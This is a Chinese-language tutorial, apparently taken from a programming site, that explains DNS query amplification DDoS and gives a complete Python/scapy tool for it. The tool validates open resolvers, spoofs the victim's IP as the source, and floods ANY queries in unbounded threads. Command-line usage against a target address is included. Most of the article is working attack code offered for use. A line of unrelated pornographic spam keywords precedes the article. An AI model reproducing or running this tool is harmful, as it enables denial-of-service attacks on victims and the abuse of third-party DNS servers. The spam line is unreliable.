欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

Python DNS查詢放大攻擊實(shí)現(xiàn)原理解析

 更新時(shí)間:2022年10月09日 14:57:48   作者:LyShark 孤風(fēng)洗劍  
這篇文章主要介紹了Python DNS查詢放大攻擊實(shí)現(xiàn),文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)吧

查詢放大攻擊的原理是,通過(guò)網(wǎng)絡(luò)中存在的DNS服務(wù)器資源,對(duì)目標(biāo)主機(jī)發(fā)起的拒絕服務(wù)攻擊,其原理是偽造源地址為被攻擊目標(biāo)的地址,向DNS遞歸服務(wù)器發(fā)起查詢請(qǐng)求,此時(shí)由于源IP是偽造的,固在DNS服務(wù)器回包的時(shí)候,會(huì)默認(rèn)回給偽造的IP地址,從而使DNS服務(wù)成為了流量放大和攻擊的實(shí)施者,通過(guò)查詢大量的DNS服務(wù)器,從而實(shí)現(xiàn)反彈大量的查詢流量,導(dǎo)致目標(biāo)主機(jī)查詢帶寬被塞滿,實(shí)現(xiàn)DDOS的目的。

此時(shí)我們使用scapy工具構(gòu)建一個(gè)DNS請(qǐng)求數(shù)據(jù)包 sr1(IP(dst="8.8.8.8")/UDP()/DNS(rd=1,qd=DNSQR(qname="qq.com")),timeout=2) 查詢指定網(wǎng)站的DNS記錄,結(jié)果如下。

上圖可以看出,我們所發(fā)送的數(shù)據(jù)長(zhǎng)度要小于接收到的數(shù)據(jù)長(zhǎng)度,流量差不多被放大了3倍左右,我們只需要將源地址偽造為被害機(jī)器,并使用海量的DNS服務(wù)器作為僵尸主機(jī)發(fā)包,即可完成DDOS攻擊。

這里需要在網(wǎng)上找一些DNS服務(wù)器。

import socket,os,sys
from scapy.all import *
def Inspect_DNS_Usability(filename):
    proxy_list = []
    fp = open(filename,"r")
    for i in fp.readlines():
        try:
            addr = i.replace("\n","")
            respon = sr1(IP(dst=addr)/UDP()/DNS(rd=1,qd=DNSQR(qname="www.baidu.com")),timeout=2)
            if respon != "":
                proxy_list.append(str(respon["IP"].src))
        except Exception:
            pass
    return proxy_list
proxy = Inspect_DNS_Usability("./dnslist.log")
fp = open("pass.log","w+")
for item in proxy:
    fp.write(item + "\n")
fp.close()

驗(yàn)證好有效性以后,接著就是Python多線程發(fā)包測(cè)試了,scapy構(gòu)建數(shù)據(jù)包時(shí)由于DNS數(shù)據(jù)包比較特殊,構(gòu)建是應(yīng)該按照順序 IP/UDP/DNS來(lái)構(gòu)建,以下代碼可以完成發(fā)包測(cè)試

import socket,os,sys
from scapy.all import *
# 構(gòu)造IP數(shù)據(jù)包
ip_pack = IP()
ip_pack.src = "192.168.1.2"
ip_pack.dst = "8.8.8.8"
# 構(gòu)造UDP數(shù)據(jù)包
udp_pack = UDP()
udp_pack.sport = 53
udp_pack.dport = 53
# 構(gòu)建DNS數(shù)據(jù)包
dns_pack = DNS()
dns_pack.rd = 1
dns_pack.qdcount = 1
# 構(gòu)建DNSQR解析
dnsqr_pack = DNSQR()
dnsqr_pack.qname = "baidu.com"
dnsqr_pack.qtype = 255
dns_pack.qd = dnsqr_pack
respon = (ip_pack/udp_pack/dns_pack)
sr1(respon)

最終的完整代碼如下所示,通過(guò)大量的DNS查詢請(qǐng)求實(shí)現(xiàn)針對(duì)目標(biāo)主機(jī)的拒絕服務(wù).

import os,sys,threading,time
from scapy.all import *
import argparse
def Inspect_DNS_Usability(filename):
    proxy_list = []
    fp = open(filename,"r")
    for i in fp.readlines():
        try:
            addr = i.replace("\n","")
            respon = sr1(IP(dst=addr)/UDP()/DNS(rd=1,qd=DNSQR(qname="www.baidu.com")),timeout=2)
            if respon != "":
                proxy_list.append(str(respon["IP"].src))
        except Exception:
            pass
    return proxy_list
def DNS_Flood(target,dns):
    # 構(gòu)造IP數(shù)據(jù)包
    ip_pack = IP()
    ip_pack.src = target
    ip_pack.dst = dns
#   ip_pack.src = "192.168.1.2"
#   ip_pack.dst = "8.8.8.8"
    # 構(gòu)造UDP數(shù)據(jù)包
    udp_pack = UDP()
    udp_pack.sport = 53
    udp_pack.dport = 53
    # 構(gòu)造DNS數(shù)據(jù)包
    dns_pack = DNS()
    dns_pack.rd = 1
    dns_pack.qdcount = 1
    # 構(gòu)造DNSQR解析
    dnsqr_pack = DNSQR()
    dnsqr_pack.qname = "baidu.com"
    dnsqr_pack.qtype = 255
    dns_pack.qd = dnsqr_pack
    respon = (ip_pack/udp_pack/dns_pack)
    sr1(respon)
def Banner():
    print("  _          ____  _                _    ")
    print(" | |   _   _/ ___|| |__   __ _ _ __| | __")
    print(" | |  | | | \___ \| '_ \ / _` | '__| |/ /")
    print(" | |__| |_| |___) | | | | (_| | |  |   < ")
    print(" |_____\__, |____/|_| |_|\__,_|_|  |_|\_\\")
    print("       |___/                             \n")
    print("E-Mail: me@lyshark.com\n")
if __name__ == "__main__":
    Banner()
    parser = argparse.ArgumentParser()
    parser.add_argument("--mode",dest="mode",help="選擇執(zhí)行命令<check=檢查DNS可用性/flood=攻擊>")
    parser.add_argument("-f","--file",dest="file",help="指定一個(gè)DNS字典,里面存儲(chǔ)DNSIP地址")
    parser.add_argument("-t",dest="target",help="輸入需要攻擊的IP地址")
    args = parser.parse_args()
    if args.mode == "check" and args.file:
        proxy = Inspect_DNS_Usability(args.file)
        fp = open("pass.log","w+")
        for item in proxy:
            fp.write(item + "\n")
        fp.close()
        print("[+] DNS地址檢查完畢,當(dāng)前可用DNS保存為 pass.log")
    elif args.mode == "flood" and args.target and args.file:
        with open(args.file,"r") as fp:
            countent = [line.rstrip("\n") for line in fp]
            while True:
                randomDNS = str(random.sample(countent,1)[0])
                print("[+] 目標(biāo)主機(jī): {} -----> 隨機(jī)DNS: {}".format(args.target,randomDNS))
                t = threading.Thread(target=DNS_Flood,args=(args.target,randomDNS,))
                t.start()
    else:
        parser.print_help()

使用方式首先準(zhǔn)備一個(gè)test.log里面一行一個(gè)存放所有的已知DNS列表,并通過(guò)check命令驗(yàn)證該DNS是否可用,并將可用的DNS保存為pass.log

main.py --mode=check -f dns.txt

當(dāng)需要發(fā)起攻擊時(shí),只需要指定pass.log 文件,則自動(dòng)使用該DNS列表進(jìn)行批量查詢。

main.py --mode=flood -f pass.log -t 192.168.1.1

到此這篇關(guān)于Python DNS查詢放大攻擊實(shí)現(xiàn)原理解析的文章就介紹到這了,更多相關(guān)Python DNS查詢放大攻擊內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

最新評(píng)論